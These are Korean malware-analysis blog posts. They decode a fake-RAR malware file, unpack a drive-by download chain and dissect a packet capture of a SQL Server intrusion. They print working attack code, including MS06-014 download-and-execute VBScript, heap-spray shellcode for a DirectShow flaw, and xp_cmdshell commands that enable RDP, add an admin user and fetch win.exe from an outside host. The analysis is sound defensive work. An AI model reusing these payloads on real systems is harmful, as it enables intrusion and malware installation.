그래서 IDS에 패턴을 넣어서 추이를 살펴본 결과 C&C로의 통신이나 위 두개의 URL을 요청하는 경우가 그리 많지는 않았습니다.
랜덤하게 사용되는 악성코드 유포 사이트들의 도메인이름도 .kr 도메인은 하나도 보질 못했고 Top Level Domain들이 대부분이었고 TLD가 아닌 경우에는 유럽이나 미국쪽 사이트들이었습니다.


뭔가 좀 부족한 느낌이 드는건 아직 파일을 동적 분석해보지 않았다는 것이 되겠습니다. -_-;;
조만간 짬짬히 시간을 내서 파일 분석을 해보면 어떤 파일이 어떤 행동을 하는지 좀 더 명확해질 것 같습니다.

바이너리는 조만간(?) 분석해서 따로 글을 게시하도록 하겠습니다.




Posted by demantos
0x02 analysis2009. 10. 16. 18:00

이전 포스팅(http://malwarelab.tistory.com/53)에서 말씀드렸듯이 프로그램을 짜볼려 노력은 조금(?) 했습니다.

프로그래밍 공부를 해야겠다는 생각만 들게 하더군요..

아는 형(잡초인생)에게 부탁했습니다.

리눅스에서 C는 쫌(?) 하시는 분입니다.


결과는.....와우~

첫번째 라인 제거하고 모든 바이트를 특정 키값으로 빼서 실제 동작하는 exe를 추출 했습니다.

하지만 곧 제가 생각이 짧았다는걸 알게 되었습니다.

Stud PE나 PEiD에서 확인해보니 Not a Valid PE file 이라는 메시지만 볼 수 있었습니다. ㅜ.ㅜ




이걸 보니 뭔가 다른 로직이 더 있을거라는 생각이 들었습니다.

가장 좋은 방법은 dll 파일이 있으면 좋겠지만 아직 확보를 못했습니다.




그래서 생각한 방법이 하나 있습니다.

좀 말씀드리기 부끄럽기만 진정한 삽질을 한번 해볼까 합니다. -_-;;

일단 변경된 내용을 가지고 PE 포맷의 어느 부분이 잘못되었는지 확인해볼까 합니다. (말도 안되는...)

MZ와 PE signature는 찾았으니 PE 포맷을 확인해보면 분명 어딘가 잘못된 곳이 있을겁니다.


오늘도 즐삽~




Posted by demantos
0x02 analysis2009. 10. 15. 17:40

[관련링크]


이미 나온지 조금 지난 형태의 악성코드인데 저는 1달 전에 봤던것 같습니다.
처음 볼때만 해도 이건 머냐....였었는데 위 두 글을 읽고 나니 그게 그거였더라는...-_-;;
늦은감이 있지만 한번 분석해봤습니다.

처음엔 exe파일을 확장자만 바꿔 놓은게 아닌가 생각했었는데
HEX 에디터로 열어보니 PE 파일은 아니었습니다.

일단 어떻게 생겼는지 한번 보시면




이렇게 생겼습니다.

위 두 포스팅을 보시면 시작이 Rar! 로 시작하는 것과는 다른 형태를 보여주고 있었습니다.
Viruslab님께 문의한 결과 예전엔 변종일 경우에는 시작이 Rar! 로 나오지 않는 경우가 있다고 하셨습니다.

이런 형태라면 당연히 실행이 안되고 특정 DLL에 의해서 해당 rar 파일이 다운로드되고 디코딩이 됩니다.
물론 DLL에는 디코딩 로직이 들어 있을꺼구요..

결국

특정 취약점을 공격 --> DLL Injection --> 악성 DLL에 의해 rar 다운로드 
--> 악성DLL에 의해 rar 디코드 --> 진짜 악성코드(exe)

이런식으로 동작하게 됩니다.


디코딩되는 로직은 정상적인 PE 파일과 비교해보시면 간단하게 확인할 수 있습니다.

[정상 PE 파일]


[가짜 RAR 악성코드]



가짜 RAR 악성코드를 보시면 ②에서부터 PE 파일의 본체가 되고 디코딩을 담당하는 DLL 파일은 rar 파일을 처음부터 4byte씩 
읽어들여 00 00 00 00 이 나오는 곳까지 삭제해버릴 것으로 예상하고 있습니다.

그리고 ②에서 부터 이미 지정된 특정 키값을 이용해서 디코딩을 하게 될 것입니다.
그렇다면 디코딩하는 키값을 분석자가 찾을 수 있는가가 관건인데요..

③ 부분에 보시면 05 BE 8D BA 가 반복되는 것을 보실 수 있는데 정상적인 PE 파일에서는 00 00 00 00 으로 채워져 있는 부분입니다. 가짜 RAR 악성코드에서 처음부터 16바이트는 제거하고 나머지부분에 대해서 4byte씩 읽어서 05 BE 8D BA 를 뺀다고 보시면 됩니다.

즉, 05 BE 8D BA가 키값이 됩니다.

그러면 분석자는 해당 RAR 악성코드의 처음 16바이트를 제거하고 나머지부분에 대해서 05 BE 8D BA를 뺀 후 exe로 저장하면 실제 악성코드를 획득할 수 있게 됩니다.






이걸 디코딩할 수 있는 DLL이 없기 때문에 별도의 프로그램을 만들어 볼까 합니다.

일단은 제가 가지고 있는게 전부 두번째줄부터 실제 악성코드이니 첫번째줄(16바이트)은 제거하고
나머지 부분에 대해서 키값을 빼서 다른 파일로 저장하는 파일을 만들어 보고자 합니다.......만
프로그래밍은 아직 초보라 언제 완선될지 장담을 못합니다. ㅜ.ㅜ

일단 삽질 한번 해봐야할 듯 합니다.

너무 기대는 하지 말아 주세요...









Posted by demantos
0x02 analysis2009. 10. 1. 18:03

지금쯤 고향앞으로!! 하시는 분들도 계실겁니다.
무사히 다녀오시길 바랍니다. ^^
전 먼저 갔다와서 내일,모레까지 근무네요...ㅜ.ㅜ

오랜만에 스크립트 하나 분석했습니다.

확보한 파일은 총 8개입니다.

swf.js --- Main.asp ---+--- ad.htm ---> hxxp://www.eleparts.co.kr/data/msn.exe
                       +--- index.htm ---+--- he1.swf
                                         +--- he3.swf
                                         +--- he2.swf

swf.js

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.8("<1 5=4://2.3.6.9/d./e.c b=0 a=0></1>");',15,15,'|iframe|xxx|yyy|http|src||document|write|zzz|height|width|asp|t|Main'.split('|'),0,{}))

첫번째 스크립트는 패킹되어 있었습니다. http://dean.edward.name/unpacker 에서 언패킹해보면 iframe으로 Main.asp를 삽입하고 있었습니다.

document.write("<iframe src=http://xxx.yyy.6.zzz/t./Main.asp width=0 height=0></iframe>");


Main.asp

<SCRIPT>
document.write("<iframe width=50 height=0 src=ad.htm></iframe>");
document.write("<iframe width=100 height=0 src=index.htm></iframe>");
window.status="供냥";
window.onerror=function(){return true;}
</SCRIPT>
</HEAD>
</HTML>


ad.htm

<script type="text/jscript">
function init() {
document.write("");
}
window.onload = init;
</script>
<script>
var a1 = "ABCDEFG";
var a2 = "HIJKLMNOP";
var a3 = "QRSTUVWXYZabcdef";
var keyStrs = a1+a2+a3+"ghijklmnopqrstuv"+"wxyz0123456789+/"+"=";
function mydata(input){
 var output="";
 var chr1,chr2,chr3="";
 var enc1,enc2,enc3,enc4="";
 var i=0;
 var base64test=/[^A-Za-z0-9\+\/\=]/g;
 input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");
 do{
  enc1=keyStrs.indexOf(input.charAt(i++));
  enc2=keyStrs.indexOf(input.charAt(i++));
  enc3=keyStrs.indexOf(input.charAt(i++));
  enc4=keyStrs.indexOf(input.charAt(i++));
  chr1=(enc1<<2)|(enc2>>4);
  chr2=((enc2&15)<<4)|(enc3>>2);
  chr3=((enc3&3)<<6)|enc4;
  output=output+String.fromCharCode(chr1);
  if(enc3!=64){output=output+String.fromCharCode(chr2);};
  if(enc4!=64){output=output+String.fromCharCode(chr3);};
  chr1=chr2=chr3="";
  enc1=enc2=enc3=enc4="";
 };
 while(i<input.length);return output;
 };
t="43 + 37 ,107 - 36 ,9880 / 95 ,64 - 16 ,117 - 19 ,141 - 54 ,8211 / 69 ,9 + 34 ,884 / 13 ,97 - 16 ,153 - 42 ,38 + 18 ,75 + 24 ,350 / 7 ,5772 / 74 ,2057 / 17 ,0 + 97 ,70 + 18 ,3498 / 53 ,3 + 45 ,3358 / 46 ,16 + 55 ,137 - 17 ,90 + 14 ,174 - 76 ,153 - 44 ,167 - 67 ,1715 / 35 ,3204 / 36 ,4437 / 51 ,42 + 58 ,8856 / 82 ,51 + 29 ,3320 / 40 ,109 - 35 ,75 + 12 ,157 - 76 ,3348 / 31 ,113 - 35 ,64 + 42 ,172 - 73 ,4360 / 40 ,54 + 54 ,156 - 37 ,9200 / 92 ,1139 / 17 ,29 + 44 ,46 - 3 ,4420 / 65 ,72 + 9 ,6 + 106 ,179 - 61 ,1372 / 14 ,10395 / 99 ,52 + 14 ,196 - 88 ,... 중략 ...,13 + 90 ,51 + 39 ,10 + 99 ,102 - 49 ,187 - 83 ,1666 / 17 ,9 + 78 ,4760 / 56 ,30 + 90 ,94 - 18 ,670 / 10 ,102 - 29 ,4200 / 40 ,44 + 32 ,1675 / 25 ,56 + 17 ,111 - 6 ,30 + 46 ,4154 / 62 ,58 + 16 ,4720 / 40 ,94 + 5 ,83 - 12 ,4420 / 52 ,10185 / 97 ,3922 / 53 ,210 - 105 ,146 - 72 ,35 + 82 ,67 + 6 ,205 - 100 ,156 - 37 ,13447 / 113 ,4420 / 65 ,2754 / 34 ,174 - 63 ,1680 / 30 ,1 + 75 ,816 / 16 ,31 + 47 ,152 - 46 ,127 - 28 ,65 + 44 ,195 - 87 ,195 - 76 ,1700 / 17 ,55 + 13 ,22 + 30 ,84 - 23 ";
t=eval("mydata(String.fromCharCode("+t+"))");
document.write(t);
</script>

ad.htm은 t에 저장되는 문자열이 핵심입니다.
위 스크립트를 디코딩해보면

<html>
<script language="VBScript">
on error resume next
dl = "http://www.xxxxxxxx.co.kr/data/msn.exe"
Set df = document.createElement("ob"&"ject")
df.setAttribute "classid", "clsid:BD96C55"&"6-65A3-11D0-983A-00C04FC29E36"
str="Microsoft"&".XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"&"ea"
str1=a1&a2&a3
str5=str1
set S = df.createobject(str5&"m","")
S.type = 1
str6="G"&"ET"
x.Open str6, dl, False
x.Send
fname1="g0ld"&".com"
set F = df.createobject("Scripti"&"ng.FilesystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Ap"&"plication","")
Q.ShellExecute fname1,"","","ope"&"n",0
</script>

이 스크립트는 MS06-014 취약점을 공격해서 hxxp://www.xxxxxxxx.co.kr/data/msn.exe 파일을 다운로드하여 실행하게끔 합니다. 미리 받아놨어야 하는데 안받아놨었습니다. -_-;; 지금은 다운로드가 안되는군요...


index.htm

<html>
<body> 
<div id="DivID">
<script src='he1.swf'></script> 
<script src='he3.swf'>
</script>
<script src='he2.swf'></script> 
</body>
</html>



he1.swf, he3.swf, he2.swf

var XXXxxyt='0';
var xxyytt='%';
var xxttyy='u';
var ttyyxx=xxyytt+xxttyy;
var UUse=ttyyxx+'9'+'09'+'0'+ttyyxx+'9'+'0'+'9'+XXXxxyt;
var YTavp='%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uEAEA';
var YTavp1='%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF';
var ytshell=unescape(UUse+YTavp1+... 중략 ...+'%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ud2c9%ucfc8%ud493%udccb%uded3%uc9d4%u93c4%ud2de%u92d0%ud0d4%udadc%uced8%ud492%udccb%u92d3%ud2d1%ud2da%ud893%ud8c5%uBDBD%uBDBD'+YTavp);
var headersize=20;
var omybro=unescape(UUse);

var coass="darf";

var slacksace=headersize+ytshell.length;

while(omybro.length<slacksace)
omybro+=omybro;
bZmybr=omybro.substring(0,slacksace);
shuishiMVP=omybro.substring(0,omybro.length-slacksace);
while(shuishiMVP.length+slacksace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
var r=0;
var rsc="f";
for(x=r;x<300;x++)
memory[x]=shuishiMVP+ytshell;

var vpnject=document.createElement('ob'+'j'+'e'+'c'+'t');
DivID.appendChild(vpnject);
vpnject.width='1';
vpnject.height='1';
vpnject.data='./logo.gif';
var caoavp='li';
vpnject.classid='clsid:0955AC62-BF2E-4CBA-A'+'2B9-A63F772D46CF';


he1.swf, hw2.sef, hw3.swf는 플래쉬 파일이긴 하지만 실제로는 자바스크립트가 들어 있었습니다.
이 스크립트는 DirectShow MPEG2TuneRequest 취약점을 공격하는 제로데이 스크립트입니다.

자세한 내용은 http://hummingbird.tistory.com/1184 를 참조하시기 바랍니다.




참고로 ad.htm과 같은 형태의 스크립트가 실제로는 어떤 스크립트인지 확인하기 위해서는 디코딩 작업을 수행해야 합니다.
이런 경우 디코딩하는 간단한 팁(?)을 적어볼까 합니다.

ad.htm 스크립트 내용을 그대로 적고 마지막에 document.write(t); 와 </script> 는 지웁니다.
그리고 아래 내용을 이어서 적습니다.

document.write("<textarea rows=30 cols=100>");
document.write(t);
document.write("</textarea>");
</script>

이렇게 html 파일을 웹서버에 만들고 해당 파일을 요청하면 인코딩된 내용들이 디코딩되고 원래대로는 document.write(t)에서 실행하게 되는데 위 html 파일을 보면 <textarea>라는 태그때문에 스크립트가 실행되지 않고 텍스트 상자안에 디코딩된 스크립트 내용이 그대로 출력되게 됩니다.


이 방법은 일반적으로 많이 볼 수 있는 인코딩된 스크립트를 디코딩하는데에도 사용 가능합니다.
<textarea> 태그의 특성을 이용해서 스크립트를 그대로 출력하게 하는 방법으로 일반적으로 많이 보이는 인코딩된 스크립트는 document.write(unescape("인코딩된 문자열")); 과 같은 방법으로 확인 가능합니다.

즉, 아래와 같이 쓰시면 됩니다.

document.write("<textarea rows=30 cols=100>");
document.write(unescape("인코딩된 문자열"));
document.write("</textarea>");
</script>


이 방법을 알려주신 방립동님께 거듭 감사드립니다. ^^



그럼 오늘도 즐삽~





Posted by demantos
0x02 analysis2009. 9. 1. 16:03


오랜만에 악성스크립트를 몇개 만났습니다.




25일 오전 10시쯤에에 메일을 받은 녀석인데요..
LastWriteTime이 24일 저녁 10시와 25일 오전 8시쯤이군요..

전부 인코딩되어 있거나 패킹 또는 자체적인 함수를 사용해서 알아보기 힘들게 해놨습니다. -_-;;
10개의 파일 중 모체가 되는 녀석이 6.htm인데요 요녀석부터 살펴보도록 하겠습니다.


6.htm




디코딩해보면 다음과 같습니다.




전형적인 악성스크립트입니다. width와 height가 0입니다.
요즘은 width와 height는 정상적인 사이즈로 주고 visibility를 hidden으로 해서 보이지 않게 하는 경우도 있더군요..

위에 보시는것처럼 6.htm 페이지가 클라이언트에 의해 요청되면 다른 페이지들(htm, gif, js)도 연달아 요청이 됩니다.
확인결과 gif도 악성스크립트였습니다.


06014.htm




요놈은 좀 기네요...공격을 위한 스크립트가 들어있을거라 예상해봅니다.
디코딩해봤습니다.




보시는것처럼 clsid:BD96C556-65A3-11D0-983A-00C04FC29E36가 있습니다.
파일명에서 보시는것처럼 MS06-014 MS Internet Explorer(MDAC) Remote Code Excution Exploit 취약점을 공격하기 위한 스크립트입니다.


811.gif




파일명만 gif고 실체는 VBScript 입니다.
위 그림에서는 안보이지만 마지막 라인에 Execute DC(Q)라는 라인에서 문자열을 함수에 넣어서 실제 스크립트를 만들어내고 실행하고 있습니다.
실제 스크립트는 다음과 같습니다.



자바스크립트입니다.
위 악성스크립트는 milw0rm에 있는거랑 똑같네요..


Microsoft Works 7의 wkimgsrv.dll 파일에서 발생하는 취약점을 공격하는 코드입니다.
공격이 성공하면 쉘코드를 실행하게 됩니다. EvilCuteCode로 되어 있는 부분이 쉘코드입니다.


853.js



이번에도 VBScript로 되어있군요..
역시나 쉽게 알아보지 못하게 꼬아놨습니다. -_-;;
못 풀것도 없습니다. 



이제서야 본색을 드러내고 있군요... hxxp://www.cuteqq.cn/asp/calc.exe
전혀 귀엽지 않은 녀석이 cute라는 단어를 쓰고 있으니 좀 거북하군요...-_-;;

위 실행 파일을 AIG.scr로 저장하고 실행하는 것으로 보입니다.
그림에서는 짤렸지만 제일 마지막에 나오는 스크립트를 보면 Loading.......이라고 출력만 합니다.
즉, 사용자가 보기에는 로딩되고 있는가?? 라고 생각하게끔 만들고 취약점을 공격해서 실행파일을 AIG.scr로 저장하는 것이죠..
앞서 보셨던것과 동일하게 MS06-014 취약점을 공격해서 calc.exe 파일을 실행하고 있습니다.


f9.htm




이번 파일은 SWFObject가 있는 것으로 보아 플래쉬 플레이어 취약점을 공격하는 공격코드인 듯 합니다.
물론 아닐 수도 있습니다. ^^;;
일단 인코딩되어 있으니 디코딩해서 코드를 살펴봐야겠습니다.




 

f10.htm







디코딩을 두번이아 했습니다. 그런데도 아직 인코딩된 문자열들이 남아 있네요..
유니코드로 인코딩되어 있는 부분은 shellocde입니다.
위 공격스크립트는 Ourgame 'GLIEDown2.dll' ActiveX Control Remote Code Execution 취약점을 공격하는 스크립트입니다.
첫번째 줄에 나온 clsid를 보면 알 수 있습니다.


여기에 있는 스크립트와 비슷한 스트립트네요..


mpg.htm





이번엔 디코딩했던니 패킹되어 있는 녀석이군요..(참 골고루 하고 있습니다)
패킹되어 있는 녀석을 언패킹해서 코드를 볼려고 했는데 계속 illegal character라고 나오더군요..
아마도 코드를 복사하는 과정에서 오타(?)가 나서 몇 글자 빼먹었거나 추가되었을 가능성이 커 보입니다.
일단은 직접 코드를 실행해보고 결과를 확인해보도록 하겠습니다.


092.htm






092.htm 파일은 811.gif와 동일한 파일이었습니다.
다른거라고는 일부 변수명만 다를뿐 쉘코드도 동일한 쉘코드를 사용하고 있었습니다.
아마도 여기저기서 악성스크립트 모아다가 페이지를 만든거 같은데 중복된걸 깜박했나 봅니다. -_-

914.htm






이번 스크립트는 Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit 이었습니다.

http://www.milw0rm.com/exploits/5332

aces.gif




이번에도 패킹된 녀석인데 위에서 보셨던 mpg.htm과 동일하게 illegal character라고 나옵니다.
이것도 직접 실행해서 어떤 증상이 나타나는지 확인해봐야겠습니다.

 
언패킹되지 않았던 mpg.htm과 aces.gif는 모두 스크립트가 정상적으로 동작하지 않았습니다.
즉, 패킹된 데이터가 정상이 아니라는 이야기겠지요..

결국 www.cuteqq.cn/asp 에서 calc.exe를 다운 받아 실행하는 것으로 보이는데 직접 접근해 봤지만 다운로드가 안되고 있었습니다.
이게 보통 PoC 코드를 그대로 써서 PoC 코드에서 주로 시연하는 실제 계산기인지 아니면 이름만 calc.exe이고
실제 악성코드인지는 확인이 되지 않고 있습니다.



이번에도 반쪽짜리 분석이 되고 말았네요..-_-;;

오랜만에 쓴 글인데 아쉽습니다..








Posted by demantos
0x02 analysis2009. 8. 22. 15:26

악성봇 탐지하는 장비에서 남긴 pcap 파일을 보다가 예전부터 자주 나오던 형태가 있었습니다.
바로 TDS라는 녀석이데요..
위키피디아에 있는 TDS에 대한 정의를 보시면

Tabular Data Stream (TDS) is an application layer protocol, used to transfer data between a database server and a client. Initially designed and developed by Sybase Inc. for their Sybase SQL Server relational database engine in 1984, and later by Microsoft in Microsoft SQL Server.

라고 나와있습니다.

쉽게 말해서 MS-SQL Server에서 데이터베이스 서버와 클라이언트간의 데이터 전송을 위해 사용되는 프로토콜입니다.

MS에서 제공하는 TDS Protocol Spec은 파일 첨부하겠습니다. 참고하시기 바랍니다.



pcap 파일을 까보니




상당히 길더군요..
아마도 SQL Injection 공격을 하는걸로 보입니다.

좀 더 자세히 살펴보도록 하겠습니다.


가장 처음에 나오는 패킷은 TDS7/8 Login Packet이었습니다.
말 그대로 로그인 정보를 가지고 있는 패킷입니다.




로그인 정보를 전송하고 서버로부터 날라오는 Response 패킷을 보면 master를 사용하겠다는 메시지를 보내옵니다.




이후 지속적으로 서버와 클라이언트간의 데이터를 주고 받습니다. (Query Packet, Response Packet)

create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedpro

There is already an object named 'sp_addextendedproc' in the database.

EXEC sp_dropextendedproc 'xp_cmdshell'

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int


USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
Valid configuration options are:
......(계속 어떤 메시지가 나오는데 귀찮아서 생략합니다 -_-;;)

USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'Ole Automation Procedures',1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'Ole Automation Procedures' does not exist, or it may be an advanced option.
Valid configuration options are:
......

USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'Ad Hoc Distributed Queries',1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'Ad Hoc Distributed Queries' does not exist, or it may be an advanced option.
Valid configuration options are:
......

EXEC sp_dropextendedproc 'Xp_regwrite'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
dbcc addextendedproc ("sp_OACreate","odsole70.dll")

There is already an object named 'sp_OACreate' in the database.

Query: exec master..xp_cmdshell 'ver'

Microsoft Windows XP [Version 5.1.2600]

DECLARE @s int EXEC sp_oacreate [wscript.shell]
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>c:\3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>c:\3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>c:\3389.reg'
exec master..xp_cmdshell 'regedit /s c:\3389.reg'
exec master..xp_cmdshell 'del c:\3389.reg'
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0

Could not find stored procedure 'master.dbo.xp_regwrite'.

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[resultcmd_cc]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table resultcmd_cc
create table resultcmd_cc([data] nvarchar(4000))
insert resultcmd_cc exec master..xp_cmdshell 'netstat -an'

select * from resultcmd_cc (Remote Procedure Call Packet)

Could not create an acceptable cursor.
The cursor was not declared.

select * from resultcmd_cc (Remote Procedure Call Packet)

 Active Connections
 Proto  Local Address          Foreign Address        State

Could not complete cursor operation because the table schema changed after the cursor was declared.

insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser Aa123456789 /add'
insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser Aa123456789'
insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser /active:yes'
insert resultcmd_cc exec master..xp_cmdshell 'net localgroup administrators /add TsInternetUser'

select * from resultcmd_cc (Remote Procedure Call Packet)

Could not create an acceptable cursor.
The cursor was not declared.

select * from resultcmd_cc (Remote Procedure Call Packet)

  Active Connections
 Proto  Local Address          Foreign Address        State
 TCP    0.0.0.0:7              0.0.0.0:0              LISTENING
 TCP    0.0.0.0:9              0.0.0.0:0              LISTENING
 TCP    0.0.0.0:13             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:17             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:19             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:21             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:23             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1042           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:2869           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:4460           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5000           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5800           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5900           0.0.0.0:0              LISTENING
 TCP    169.254.100.134:139    0.0.0.0:0              LISTENING
 TCP    169.254.100.134:1042   1232142574:1439     ESTABLISHED
 TCP    169.254.100.134:1043   0.0.0.0:0              LISTENING
 TCP    169.254.100.134:1433   123.156.76.214:1310    ESTABLISHED
 TCP    169.254.100.134:1433   123.156.76.214:1358    ESTABLISHED
 TCP    169.254.100.134:4460   123.214.25.74:61412    CLOSE_WAIT
 TCP    169.254.100.134:4460   123.214.25.74:62087    ESTABLISHED
 UDP    0.0.0.0:7              *:*                   
 UDP    0.0.0.0:9              *:*                   
 UDP    0.0.0.0:13             *:*                   
 UDP    0.0.0.0:17             *:*                   
 UDP    0.0.0.0:19             *:*                   
 UDP    0.0.0.0:135            *:*                   
 UDP    0.0.0.0:161            *:*                   
 UDP    0.0.0.0:445            *:*                   
 UDP    0.0.0.0:500            *:*                   
 UDP    0.0.0.0:1028           *:*                   
 UDP    0.0.0.0:1030           *:*                   
 UDP    0.0.0.0:1434           *:*                   
 UDP    0.0.0.0:3456           *:*                   
 UDP    127.0.0.1:1041         *:*                   
 UDP    127.0.0.1:1900         *:*                   
 UDP    169.254.100.134:137    *:*                   
 UDP    169.254.100.134:138    *:*                   
 UDP    169.254.100.135:1900   *:*                   

The command complete successfully
The command complete successfully
The command complete successfully
The command complete successfully

DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run], NULL, [net user TsInternetUser Aa123456789 /add]
EXEC sp_oamethod @s,[run], NULL, [net localgroup administrators /add TsInternetUser]

Column1

Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\dnary.mdb','select shell("net user TsInt

Expr1000

insert resultcmd_cc exec master..xp_cmdshell '@echo Str=Array(97,108,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,49,41,41,13,10,116,101,61,76,67,97,115,101,40,87,83,99,114,105

insert resultcmd_cc exec master..xp_cmdshell '@echo Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str ^& Chr(Str(I)):Next:End Function>>c:\fuck.vbs'

insert resultcmd_cc exec master..xp_cmdshell '@echo Execute Num2Str(Str)>>c:\fuck.vbs'

insert resultcmd_cc exec master..xp_cmdshell 'cscript c:\fuck.vbs http://figure.5read.com/win.exe c:\e.exe , 0 , true'



TDS Query Packet에 대한 응답으로 TDS Response Packet이 서버로부터 클라이언트로 전송됩니다.
클라이언트에게 특별하게 메시지를 보여줄 수 있는 상황이 아니면 다음과 같은 TDS Response를 볼 수 있습니다.




즉, exec sp_dropextendedproc'xp_regwrite'와 같은 명령은 결과가 특정 문자열로 출력되지 않기 때문에 위에 보시는 것처럼
상태만 알려주고 끝나게 됩니다.

그럼 우리에게 특정 결과를 문자열로 보여줄때는 어떤 모습인지 살펴보겠습니다.




보시는 것처럼 TDS7+ Results라는 토큰이 있으며 바로 아래쪽엔 앞서 봤던 Done In Proc 토큰이 있습니다.
그리고 그 아래 Unknown Token Type 부분에 명령에 의해 리턴된 문자열이 들어 있습니다.




Unknown Token Type이라는 토큰의 내용을 보시면 Microsoft에서 Mi 라는 글자가 짤린걸 보실 수 있습니다.
아마도 Response 패킷이 일부 잘못되어 형식에 맞지 않아 Unknown Token Type으로 나온게 아닌가 생각됩니다.

그리고 리턴되는 결과 중 메시지 형태일 때는 다음과 같은 토큰이 나오게 됩니다.




Error Message라는 토큰은 토큰내에 Error라는 필드에 미시지를 담고 있습니다.
명령에 대한 결과라기 보다는 에러 메시지이기 때문에 특정 형식에 맞춰져서 결과가 나오는 듯 합니다.

이 공격은 실제 공격자가 SQL Injection을 수행한 것인지 아니면 툴을 사용한것인지 악성코드에 의해서 수행된 것인지
정확히 확인하지 않았습니다만 Query 패킷이 전송되는 시간을 확인해보면 툴에 의한 행동이라는게 맞는것 같습니다.




TDS에 대해서 좀 더 공부하고 포스팅하는게 맞을 듯 한데
이것저것 찾아보면서 글을 올리다보니 좀 두서가 없었습니다. -_-;;
좀 더 연구를 해봐야겠습니다.








Posted by demantos